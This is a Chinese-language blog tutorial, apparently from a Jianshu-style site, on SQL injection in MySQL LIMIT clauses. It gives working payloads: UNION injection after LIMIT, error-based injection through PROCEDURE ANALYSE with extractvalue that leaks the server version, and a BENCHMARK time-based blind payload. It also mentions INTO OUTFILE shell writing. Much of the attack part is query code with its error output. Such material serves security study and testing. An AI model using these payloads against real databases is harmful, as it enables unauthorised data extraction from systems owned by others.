美文网首页
Mysql 注入之 limit 注入

Mysql 注入之 limit 注入

作者: 鸡翅儿 | 来源:发表于2019-05-23 18:55 被阅读0次

参考链接:
https://www.leavesongs.com/PENETRATION/sql-injections-in-mysql-limit-clause.html

一般实际过程中使用 limit 时,大概有两种情况,一种使用order by,一种就是不使用 order by关键字

不存在 order by 关键字

执行语句

select id from users limit 0,1

这种情况下的 limit 后面可以使用union进行联合查询注入
执行语句

select id from users limit 0,1 union select username from users;

图片.png

存在 order by 关键字

执行语句

select id from users order by id desc limit 0,1;

此时后面再次使用union将会报错

图片.png

除了union 就没有其他可以使用的了吗,非也
此方法适用于5.0.0< MySQL <5.6.6版本,在limit语句后面的注入
MySQL 5中的SELECT语法:

SELECT 
    [ALL | DISTINCT | DISTINCTROW ] 
      [HIGH_PRIORITY] 
      [STRAIGHT_JOIN] 
      [SQL_SMALL_RESULT] [SQL_BIG_RESULT] [SQL_BUFFER_RESULT] 
      [SQL_CACHE | SQL_NO_CACHE] [SQL_CALC_FOUND_ROWS] 
    select_expr [, select_expr ...] 
    [FROM table_references 
    [WHERE where_condition] 
    [GROUP BY {col_name | expr | position} 
      [ASC | DESC], ... [WITH ROLLUP]] 
    [HAVING where_condition] 
    [ORDER BY {col_name | expr | position} 
      [ASC | DESC], ...] 
    [LIMIT {[offset,] row_count | row_count OFFSET offset}] 
    [PROCEDURE procedure_name(argument_list)] 
    [INTO OUTFILE 'file_name' export_options 
      | INTO DUMPFILE 'file_name' 
      | INTO var_name [, var_name]] 
    [FOR UPDATE | LOCK IN SHARE MODE]]

limit 关键字后面还可跟PROCEDUREINTO两个关键字,但是 INTO 后面写入文件需要知道绝对路径以及写入shell的权限,因此利用比较难,因此这里以PROCEDURE为例进行注入

  • 使用 PROCEDURE函数进行注入
    ANALYSE支持两个参数,首先尝试一下默认两个参数
mysql> select id from users order by id desc limit 0,1 procedure analyse(1,1);
ERROR 1386 (HY000): Can't use ORDER clause with this procedure

报错,尝试一下对其中一个参数进行注入,这里首先尝试报错注入

mysql> select id from users order by id desc limit 0,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1);
ERROR 1105 (HY000): XPATH syntax error: ':5.5.53'

成功爆出 mysql 版本信息,证明如果存在报错回显的话,可以使用报错注入在limit后面进行注入
不存在回显怎么办,延迟注入呀
执行命令

select id from users order by id limit 1,1 PROCEDURE analyse((select extractvalue(rand(),concat(0x3a,(if(mid(version(),1,1) like 5, BENCHMARK(5000000,SHA1(1)),1))))),1)

如果 select version(); 第一个为5,则多次执行sha(1)达到延迟效果
这里使用 sleep 进行尝试,但均未成功,所以需要使用BENCHMARK进行替代

相关文章

  • Mysql 注入之 limit 注入

    参考链接:https://www.leavesongs.com/PENETRATION/sql-injection...

  • 小迪16期-20170226

    第二天:Sql注入集锦篇 1.Sql注入之access注入 2.Sql注入之mysql注入 3.Sql注入之mss...

  • 小迪16期-20170401

    第六天:MySQL防注入研究 MySQL头注入(http)Access偏移注入CSRF攻击 MySQL防注入 过滤...

  • sql注入(limit后注入)

    1、procedure analyse() select * from users order by id lim...

  • 堆叠注入

    SQL注入之堆叠注入 之前一直以为堆叠注入不适合mysql数据库,实战中也没有尝试过堆叠注入,今天看书《web安全...

  • SQL注入之MySQL注入

    1.判断注入and 1=1 返回正常and 1=2 返回不正常 存在注入点或:or 1=1 返回不正常or 1=2...

  • Mysql注入-时间注入

    时间注入是利用返回页面时间的差异,来判断条件是否满足,以此逐字猜测数据库的一种注入 关键函数if(),sleep(...

  • Mysql注入-报错注入

    当页面存在注入点并且回显报错信息时,我们就可以利用报错注入 updataxml报错注入: 该报错最多显示32位,若...

  • Sqli-Labs:Less 46 - Less 49*

    Less 46 基于错误_GET_数字型_排序注入 这关往后都是order by语句与limit语句的相关注入,还...

  • MySQL注入总结

    目录: 0x00 mysql一般注入(select) 0x01 mysql一般注入(insert、update) ...

网友评论

      本文标题:Mysql 注入之 limit 注入

      本文链接:https://www.haomeiwen.com/subject/ocxvzqtx.html